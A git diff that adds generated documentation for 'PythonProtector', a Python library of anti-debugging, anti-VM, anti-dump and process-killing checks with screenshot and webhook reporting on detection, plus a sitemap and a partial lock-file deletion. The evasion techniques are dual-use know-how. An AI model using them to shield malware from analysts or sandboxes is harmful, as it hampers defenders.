"},{"location":"configuration/Modules/Anti%20Analysis/#checkdebugobject","title":"CheckDebugObject","text":"

Checks if A Debug Object Handle Handle Has Been Found

"},{"location":"configuration/Modules/Anti%20Analysis/#checksedebugname","title":"CheckSEDebugName","text":"

Checks if SE_DEBUG_NAME privilege is found

"},{"location":"configuration/Modules/Anti%20Analysis/#checkntglobalflag","title":"CheckNtGlobalFlag","text":"

Checks if NT_GLOBAL_FLAG_DEBUGGED is Found in the Process Environment Block

"},{"location":"configuration/Modules/Anti%20Analysis/#checkhardwarebreakpoints","title":"CheckHardwareBreakpoints","text":"

Checks for set Hardware Breakpoints

"},{"location":"configuration/Modules/Anti%20Analysis/#checkdebugfilterstate","title":"CheckDebugFilterState","text":"

Checks if Debug Filter State != 0

"},{"location":"configuration/Modules/Anti%20Analysis/#checkpeb","title":"CheckPEB","text":"

Checks if peb.BeingDebugged == True

"},{"location":"configuration/Modules/Anti%20Analysis/events/","title":"Event Reference","text":""},{"location":"configuration/Modules/Anti%20Analysis/events/#anti-analysis","title":"Anti Analysis","text":"
debug_privilege_found()\n

Called When Debug Privilege Found Enabled

debug_object_handle_found()\n

Called When Debug Object Handle Found

nt_global_flag_debugged()\n

Called When NT_GLOBAL_FLAG_DEBUGGED Is Found In The Process Environment Block

hardware_breakpoint_set()\n

Called When Hardware Breakpoints Are Found Set

debug_filter_state()\n

Called When Debug Filter State != 0

peb_being_debugged()\n

Called When peb.BeingDebugged == True

"},{"location":"configuration/Modules/Anti%20DLL/","title":"Anti DLL","text":""},{"location":"configuration/Modules/Anti%20DLL/#methods","title":"Methods","text":""},{"location":"configuration/Modules/Anti%20DLL/#blockdlls","title":"BlockDLLs","text":"

Blocks DLL's That Match A Given List Being Injected Into Our Process

"},{"location":"configuration/Modules/Anti%20DLL/events/","title":"Event Reference","text":""},{"location":"configuration/Modules/Anti%20DLL/events/#anti-dll","title":"Anti DLL","text":"
dll_attach(dlls: List[str])\n

Called When Blacklisted DLL's Found Attached To Current Process

"},{"location":"configuration/Modules/Anti%20DLL/events/#parameters","title":"Parameters","text":"
  • dlls (List[str]) - List Of Loaded DLL's
"},{"location":"configuration/Modules/Anti%20Dump/","title":"Anti Dump","text":""},{"location":"configuration/Modules/Anti%20Dump/#methods","title":"Methods","text":""},{"location":"configuration/Modules/Anti%20Dump/#erasepeheaderfrommemory","title":"ErasePEHeaderFromMemory","text":"

Erases PE Header From Memory

"},{"location":"configuration/Modules/Anti%20Dump/events/","title":"Event Reference","text":""},{"location":"configuration/Modules/Anti%20Dump/events/#anti-dump","title":"Anti Dump","text":"

pe_header_erased()\n
Called When PE Header Is Erased

"},{"location":"configuration/Modules/Anti%20Process/","title":"Anti Process","text":""},{"location":"configuration/Modules/Anti%20Process/#methods","title":"Methods","text":""},{"location":"configuration/Modules/Anti%20Process/#checkprocesslist","title":"CheckProcessList","text":"

Checks Current Process List Against A List To Detect Harmful Programs

"},{"location":"configuration/Modules/Anti%20Process/#checkwindownames","title":"CheckWindowNames","text":"

Checks Current Window Name Against A List To Detect Harmful Programs

"},{"location":"configuration/Modules/Anti%20Process/events/","title":"Event Reference","text":""},{"location":"configuration/Modules/Anti%20Process/events/#anti-process","title":"Anti Process","text":"
process_running(process: psutil.Process)\n

Called When Blacklisted Process Found Running

"},{"location":"configuration/Modules/Anti%20Process/events/#parameters","title":"Parameters","text":"
  • process (psutil.Process) - Process Found Running
window_name_detected(window_name: str)\n

Called When Blacklisted Window Name Found

"},{"location":"configuration/Modules/Anti%20Process/events/#parameters_1","title":"Parameters","text":"
  • window_name (str) - Window Name
"},{"location":"configuration/Modules/Anti%20VM/","title":"Anti VM","text":""},{"location":"configuration/Modules/Anti%20VM/#methods","title":"Methods","text":""},{"location":"configuration/Modules/Anti%20VM/#checklists","title":"CheckLists","text":"

Check Blacklisted Lists To Compare Data like HWID, IP, PC_NAME, etc.

"},{"location":"configuration/Modules/Anti%20VM/#checkvirtualenv","title":"CheckVirtualEnv","text":"

Checks if self._get_base_prefix_compat() != sys.prefix

"},{"location":"configuration/Modules/Anti%20VM/#checkregistry","title":"CheckRegistry","text":"

Checks Registry For VMWare Software

"},{"location":"configuration/Modules/Anti%20VM/#checkmacaddress","title":"CheckMacAddress","text":"

Checks Current Mac Address For VMWare Mac Addresses

"},{"location":"configuration/Modules/Anti%20VM/#checkscreensize","title":"CheckScreenSize","text":"

Checks If The Current Screen Size x or y is below 200

"},{"location":"configuration/Modules/Anti%20VM/#checkprocessesandfiles","title":"CheckProcessesAndFiles","text":"

Check For Blacklisted Virtual Machine Processes

"},{"location":"configuration/Modules/Anti%20VM/events/","title":"Event Reference","text":""},{"location":"configuration/Modules/Anti%20VM/events/#anti-vm","title":"Anti VM","text":"
blacklisted_hwid(hwid: str)\n

Called When Blacklisted HWID Found Detected

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters","title":"Parameters","text":"
  • hwid (str) - Blacklisted HWID
blacklisted_pc_username(pc_username: str)\n

Called When Blacklisted PC Username Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_1","title":"Parameters","text":"
  • pc_username (str) - Blacklisted PC Username
blacklisted_pc_name(pc_name: str)\n

Called When Blacklisted PC Name Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_2","title":"Parameters","text":"
  • pc_name (str) - Blacklisted PC Name
blacklisted_ip(ip: str)\n

Called When Blacklisted IP Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_3","title":"Parameters","text":"
  • ip (str) - Blacklisted IP
blacklisted_mac_address(mac_addr: str)\n

Called When Blacklisted Mac Address Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_4","title":"Parameters","text":"
  • mac_addr (str) - Blacklisted Mac Address
"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_5","title":"Parameters","text":"
blacklisted_gpu(gpu: str)\n

Called When Blacklisted GPU Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_6","title":"Parameters","text":"
  • gpu (str) - Blacklisted GPU
vmware_registry(reg1: int, reg2: int)\n

Called When VMWare Registry Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_7","title":"Parameters","text":"
  • reg1 (int) - VMWare Registry Identifier
  • reg2 (int) - VMWare Registry Identifier
vmware_mac(mac_addr: str)\n

Called When VMWare MAC Address Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_8","title":"Parameters","text":"
  • mac_addr (str) - VMWare MAC Address
screen_size(x: int, y: int)\n

Called When x <= 200 or y <= 200

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_9","title":"Parameters","text":"
  • x (int) - Screen Size X
  • y (int) - Screen Size Y
vm_process_running(processes: List[str])\n

Called When VM Processes Found Running

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_10","title":"Parameters","text":"
  • processes (List[str]) - List Of Processes
vmware_dll(dll: str)\n

Called When VMWare DLL Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_11","title":"Parameters","text":"
  • dll (str) - VMWare DLL
virtualbox_dll(dll: str)\n

Called When VirtualBox DLL Found

"},{"location":"configuration/Modules/Anti%20VM/events/#parameters_12","title":"Parameters","text":"
  • dll (str) - VirtualBox DLL
"},{"location":"configuration/Modules/Miscellaneous/","title":"Miscellaneous","text":""},{"location":"configuration/Modules/Miscellaneous/#methods","title":"Methods","text":""},{"location":"configuration/Modules/Miscellaneous/#checkinternet","title":"CheckInternet","text":"

Checks For A Valid Internet Connection

"},{"location":"configuration/Modules/Miscellaneous/#checkram","title":"CheckRAM","text":"

Checks If RAM is below 4GB

"},{"location":"configuration/Modules/Miscellaneous/#checkisdebuggerpresent","title":"CheckIsDebuggerPresent","text":"

Checks Both IsDebuggerPresent and CheckRemoteDebuggerPresent

"},{"location":"configuration/Modules/Miscellaneous/#checkdisksize","title":"CheckDiskSize","text":"

Checks If Disk Size Is Less Than Minimum

"},{"location":"configuration/Modules/Miscellaneous/#killtasks","title":"KillTasks","text":"

Kills Common Reverse Engineering Tasks

"},{"location":"configuration/Modules/Miscellaneous/#checkpaths","title":"CheckPaths","text":"

Checks PC Paths For Blacklisted Paths

"},{"location":"configuration/Modules/Miscellaneous/#checkimports","title":"CheckImports","text":"

Checks Python Imports Installed

"},{"location":"configuration/Modules/Miscellaneous/#checkoutputdebugstring","title":"CheckOutPutDebugString","text":"

Checks if OutputDebugString Not Equal To 0

"},{"location":"configuration/Modules/Miscellaneous/#checkips","title":"CheckIPs","text":"

Duplicate of Anti VM's CheckLists But IP Specific

"},{"location":"configuration/Modules/Miscellaneous/#checkcpucores","title":"CheckCPUCores","text":"

Check If The Current CPU Core Count Is Less Than Or Equal Too 1

"},{"location":"configuration/Modules/Miscellaneous/#isusingproxy","title":"IsUsingProxy","text":"

Checks If Proxy Headers, Proxy IP's or A Tor Network Is Detected

"},{"location":"configuration/Modules/Miscellaneous/events/","title":"Event Reference","text":""},{"location":"configuration/Modules/Miscellaneous/events/#miscellaneous","title":"Miscellaneous","text":"
is_debugger_present()\n

Called When IsDebuggerPresent Returns True

check_remote_debugger_present()\n

Called When CheckRemoteDebuggerPresent Returns True

output_debug_string()\n

Called When OutputDebugString != 0

ram_check(ram: int)\n

Called When RAM Check Failed

cpu_count()\n

Called When CPU Core Count Is Less Than OR Equal To 1

"},{"location":"configuration/Modules/Miscellaneous/events/#parameters","title":"Parameters","text":"
  • memory (int) - Current RAM
disk_size_check(disk_size: int)\n

Called When Disk Size Check Failed

"},{"location":"configuration/Modules/Miscellaneous/events/#parameters_1","title":"Parameters","text":"
  • disk_size (int) - Current Disk Size
blacklisted_path(path: str)\n

Called When Blacklisted Path Found

  • path (str) - Blacklisted Path
blacklisted_import(package: str, dist: Distribution)\n

Called When Blacklisted Import Found

"},{"location":"configuration/Modules/Miscellaneous/events/#parameters_2","title":"Parameters","text":"
  • package (str) - Name Of Package
  • dist (Distribution) - Distribution Object
ip_check(ip: str)\n

Called When Blacklisted IP Found

"},{"location":"configuration/Modules/Miscellaneous/events/#parameters_3","title":"Parameters","text":"
  • ip (str) - Blacklisted IP
proxy_headers(header: str)\n

Called When Proxy Headers Found

"},{"location":"configuration/Modules/Miscellaneous/events/#parameters_4","title":"Parameters","text":"
  • header (str) - Proxy Header
proxy_ip(ip: str)\n

Called When Proxy IP Found

"},{"location":"configuration/Modules/Miscellaneous/events/#parameters_5","title":"Parameters","text":"
  • ip (str) - Proxy IP
tor_network()\n

Called When A Tor Network Is Found In Use

transparent_proxies()\n

Called When Transparent Proxies Detected

"},{"location":"configuration/PythonProtector/","title":"Python Protector","text":"
class PythonProtector:\ndef __init__(\nself,\ndebug: Optional[bool],\nmodules: Set[str],\nlogs_path: Optional[Union[Path, str]],\nwebhook_url: Optional[str],\non_detect: Optional[Set[str]],\n) -> None:\n
"},{"location":"configuration/PythonProtector/#arguments","title":"Arguments","text":"
  • debug (bool) - Whether Or Not PythonProtector Should Log Actions.
  • modules (Set[str]) - List Of Modules You Would Like To Enable.
  • logs_path (Union[Path, str]) - Path For PythonProtector Logs.
  • webhook_url (str) - Webhook URL For Reporting Remotely.
  • on_detect (Set[str], optional) - List of Things PyProtector Does When Detections Are Caused
"},{"location":"configuration/PythonProtector/#raises","title":"Raises","text":"
  • ModulesNotValid - Raises If Modules Are Not Valid
  • DetectionsNotValid - Raises If on_detect parameters are invalid
  • LogsPathEmpty - Raises If Debug Is Enabled But No Logs Path Are Provided
"},{"location":"configuration/PythonProtector/#methods","title":"Methods","text":""},{"location":"configuration/PythonProtector/#start","title":"start","text":"

Main Function Of PythonProtector, Initializes Everything.

"},{"location":"configuration/PythonProtector/#raises_1","title":"Raises","text":"
  • DeprecationWarning - If Python Version < 3.11
"},{"location":"configuration/PythonProtector/#properties","title":"Properties","text":""},{"location":"configuration/PythonProtector/#version","title":"version","text":"

Returns The Current PythonProtector Version

"},{"location":"configuration/PythonProtector/#type","title":"Type","text":"

str

"},{"location":"configuration/PythonProtector/#user","title":"user","text":"

Returns a Tuple of User Information

"},{"location":"configuration/PythonProtector/#type_1","title":"Type","text":"

tuple

"},{"location":"configuration/PythonProtector/#ip","title":"ip","text":"

Returns The Current Users IP

"},{"location":"configuration/PythonProtector/#type_2","title":"Type","text":"

str

"},{"location":"configuration/PythonProtector/#computer","title":"computer","text":"

Returns The Current Users WMI Computer Object

"},{"location":"configuration/PythonProtector/#type_3","title":"Type","text":"

typing.Any

"},{"location":"configuration/PythonProtector/#extra-notes","title":"Extra Notes","text":""},{"location":"configuration/PythonProtector/#list-of-valid-modules","title":"List of Valid Modules:","text":"
Modules: Final[Set[str]] = {\n\"Miscellaneous\",\n\"AntiProcess\",\n\"AntiDLL\",\n\"AntiVM\",\n\"AntiAnalysis\",\n}\n
"},{"location":"configuration/PythonProtector/#list-of-valid-detections","title":"List of Valid Detections:","text":"
Detections: Final[Set[str]] = {\"Screenshot\", \"Exit\", \"Report\"}\n
"}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml new file mode 100755 index 0000000..a15d472 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,103 @@ + + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + + None + 2023-02-11 + daily + + \ No newline at end of file diff --git a/sitemap.xml.gz b/sitemap.xml.gz new file mode 100755 index 0000000..45e61e6 Binary files /dev/null and b/sitemap.xml.gz differ diff --git a/uv.lock b/uv.lock deleted file mode 100644 index 9d2d7a7..0000000 --- a/uv.lock +++ /dev/null @@ -1,509 +0,0 @@ -version = 1 -requires-python = ">=3.13" - -[[package]] -name = "anyio" -version = "4.8.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "idna" }, - { name = "sniffio" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/a3/73/199a98fc2dae33535d6b8e8e6ec01f8c1d76c9adb096c6b7d64823038cde/anyio-4.8.0.tar.gz", hash = "sha256:1d9fe889df5212298c0c0723fa20479d1b94883a2df44bd3897aa91083316f7a", size = 181126 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/46/eb/e7f063ad1fec6b3178a3cd82d1a3c4de82cccf283fc42746168188e1cdd5/anyio-4.8.0-py3-none-any.whl", hash = "sha256:b5011f270ab5eb0abf13385f851315585cc37ef330dd88e27ec3d34d651fd47a", size = 96041 }, -] - -[[package]] -name = "autoflake" -version = "2.3.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "pyflakes" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/2a/cb/486f912d6171bc5748c311a2984a301f4e2d054833a1da78485866c71522/autoflake-2.3.1.tar.gz", hash = "sha256:c98b75dc5b0a86459c4f01a1d32ac7eb4338ec4317a4469515ff1e687ecd909e", size = 27642 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a2/ee/3fd29bf416eb4f1c5579cf12bf393ae954099258abd7bde03c4f9716ef6b/autoflake-2.3.1-py3-none-any.whl", hash = "sha256:3ae7495db9084b7b32818b4140e6dc4fc280b712fb414f5b8fe57b0a8e85a840", size = 32483 }, -] - -[[package]] -name = "autopep8" -version = "2.3.2" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "pycodestyle" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/50/d8/30873d2b7b57dee9263e53d142da044c4600a46f2d28374b3e38b023df16/autopep8-2.3.2.tar.gz", hash = "sha256:89440a4f969197b69a995e4ce0661b031f455a9f776d2c5ba3dbd83466931758", size = 92210 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/9e/43/53afb8ba17218f19b77c7834128566c5bbb100a0ad9ba2e8e89d089d7079/autopep8-2.3.2-py2.py3-none-any.whl", hash = "sha256:ce8ad498672c845a0c3de2629c15b635ec2b05ef8177a6e7c91c74f3e9b51128", size = 45807 }, -] - -[[package]] -name = "black" -version = "24.10.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "click" }, - { name = "mypy-extensions" }, - { name = "packaging" }, - { name = "pathspec" }, - { name = "platformdirs" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/d8/0d/cc2fb42b8c50d80143221515dd7e4766995bd07c56c9a3ed30baf080b6dc/black-24.10.0.tar.gz", hash = "sha256:846ea64c97afe3bc677b761787993be4991810ecc7a4a937816dd6bddedc4875", size = 645813 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d0/a0/a993f58d4ecfba035e61fca4e9f64a2ecae838fc9f33ab798c62173ed75c/black-24.10.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1cbacacb19e922a1d75ef2b6ccaefcd6e93a2c05ede32f06a21386a04cedb981", size = 1643986 }, - { url = "https://files.pythonhosted.org/packages/37/d5/602d0ef5dfcace3fb4f79c436762f130abd9ee8d950fa2abdbf8bbc555e0/black-24.10.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1f93102e0c5bb3907451063e08b9876dbeac810e7da5a8bfb7aeb5a9ef89066b", size = 1448085 }, - { url = "https://files.pythonhosted.org/packages/47/6d/a3a239e938960df1a662b93d6230d4f3e9b4a22982d060fc38c42f45a56b/black-24.10.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ddacb691cdcdf77b96f549cf9591701d8db36b2f19519373d60d31746068dbf2", size = 1760928 }, - { url = "https://files.pythonhosted.org/packages/dd/cf/af018e13b0eddfb434df4d9cd1b2b7892bab119f7a20123e93f6910982e8/black-24.10.0-cp313-cp313-win_amd64.whl", hash = "sha256:680359d932801c76d2e9c9068d05c6b107f2584b2a5b88831c83962eb9984c1b", size = 1436875 }, - { url = "https://files.pythonhosted.org/packages/8d/a7/4b27c50537ebca8bec139b872861f9d2bf501c5ec51fcf897cb924d9e264/black-24.10.0-py3-none-any.whl", hash = "sha256:3bb2b7a1f7b685f85b11fed1ef10f8a9148bceb49853e47a294a3dd963c1dd7d", size = 206898 }, -] - -[[package]] -name = "certifi" -version = "2024.12.14" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/0f/bd/1d41ee578ce09523c81a15426705dd20969f5abf006d1afe8aeff0dd776a/certifi-2024.12.14.tar.gz", hash = "sha256:b650d30f370c2b724812bee08008be0c4163b163ddaec3f2546c1caf65f191db", size = 166010 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a5/32/8f6669fc4798494966bf446c8c4a162e0b5d893dff088afddf76414f70e1/certifi-2024.12.14-py3-none-any.whl", hash = "sha256:1275f7a45be9464efc1173084eaa30f866fe2e47d389406136d332ed4967ec56", size = 164927 }, -] - -[[package]] -name = "cffi" -version = "1.17.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "pycparser" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989 }, - { url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802 }, - { url = "https://files.pythonhosted.org/packages/0e/2d/eab2e858a91fdff70533cab61dcff4a1f55ec60425832ddfdc9cd36bc8af/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3", size = 454792 }, - { url = "https://files.pythonhosted.org/packages/75/b2/fbaec7c4455c604e29388d55599b99ebcc250a60050610fadde58932b7ee/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683", size = 478893 }, - { url = "https://files.pythonhosted.org/packages/4f/b7/6e4a2162178bf1935c336d4da8a9352cccab4d3a5d7914065490f08c0690/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5", size = 485810 }, - { url = "https://files.pythonhosted.org/packages/c7/8a/1d0e4a9c26e54746dc08c2c6c037889124d4f59dffd853a659fa545f1b40/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4", size = 471200 }, - { url = "https://files.pythonhosted.org/packages/26/9f/1aab65a6c0db35f43c4d1b4f580e8df53914310afc10ae0397d29d697af4/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd", size = 479447 }, - { url = "https://files.pythonhosted.org/packages/5f/e4/fb8b3dd8dc0e98edf1135ff067ae070bb32ef9d509d6cb0f538cd6f7483f/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed", size = 484358 }, - { url = "https://files.pythonhosted.org/packages/f1/47/d7145bf2dc04684935d57d67dff9d6d795b2ba2796806bb109864be3a151/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9", size = 488469 }, - { url = "https://files.pythonhosted.org/packages/bf/ee/f94057fa6426481d663b88637a9a10e859e492c73d0384514a17d78ee205/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d", size = 172475 }, - { url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009 }, -] - -[[package]] -name = "charset-normalizer" -version = "3.4.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/16/b0/572805e227f01586461c80e0fd25d65a2115599cc9dad142fee4b747c357/charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3", size = 123188 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/38/94/ce8e6f63d18049672c76d07d119304e1e2d7c6098f0841b51c666e9f44a0/charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda", size = 195698 }, - { url = "https://files.pythonhosted.org/packages/24/2e/dfdd9770664aae179a96561cc6952ff08f9a8cd09a908f259a9dfa063568/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313", size = 140162 }, - { url = "https://files.pythonhosted.org/packages/24/4e/f646b9093cff8fc86f2d60af2de4dc17c759de9d554f130b140ea4738ca6/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9", size = 150263 }, - { url = "https://files.pythonhosted.org/packages/5e/67/2937f8d548c3ef6e2f9aab0f6e21001056f692d43282b165e7c56023e6dd/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b", size = 142966 }, - { url = "https://files.pythonhosted.org/packages/52/ed/b7f4f07de100bdb95c1756d3a4d17b90c1a3c53715c1a476f8738058e0fa/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11", size = 144992 }, - { url = "https://files.pythonhosted.org/packages/96/2c/d49710a6dbcd3776265f4c923bb73ebe83933dfbaa841c5da850fe0fd20b/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f", size = 147162 }, - { url = "https://files.pythonhosted.org/packages/b4/41/35ff1f9a6bd380303dea55e44c4933b4cc3c4850988927d4082ada230273/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd", size = 140972 }, - { url = "https://files.pythonhosted.org/packages/fb/43/c6a0b685fe6910d08ba971f62cd9c3e862a85770395ba5d9cad4fede33ab/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2", size = 149095 }, - { url = "https://files.pythonhosted.org/packages/4c/ff/a9a504662452e2d2878512115638966e75633519ec11f25fca3d2049a94a/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886", size = 152668 }, - { url = "https://files.pythonhosted.org/packages/6c/71/189996b6d9a4b932564701628af5cee6716733e9165af1d5e1b285c530ed/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601", size = 150073 }, - { url = "https://files.pythonhosted.org/packages/e4/93/946a86ce20790e11312c87c75ba68d5f6ad2208cfb52b2d6a2c32840d922/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd", size = 145732 }, - { url = "https://files.pythonhosted.org/packages/cd/e5/131d2fb1b0dddafc37be4f3a2fa79aa4c037368be9423061dccadfd90091/charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407", size = 95391 }, - { url = "https://files.pythonhosted.org/packages/27/f2/4f9a69cc7712b9b5ad8fdb87039fd89abba997ad5cbe690d1835d40405b0/charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971", size = 102702 }, - { url = "https://files.pythonhosted.org/packages/0e/f6/65ecc6878a89bb1c23a086ea335ad4bf21a588990c3f535a227b9eea9108/charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85", size = 49767 }, -] - -[[package]] -name = "click" -version = "8.1.8" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "colorama", marker = "sys_platform == 'win32'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/b9/2e/0090cbf739cee7d23781ad4b89a9894a41538e4fcf4c31dcdd705b78eb8b/click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a", size = 226593 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/7e/d4/7ebdbd03970677812aac39c869717059dbb71a4cfc033ca6e5221787892c/click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2", size = 98188 }, -] - -[[package]] -name = "colorama" -version = "0.4.6" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335 }, -] - -[[package]] -name = "command-runner" -version = "1.7.4" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "psutil" }, -] -sdist = { url = 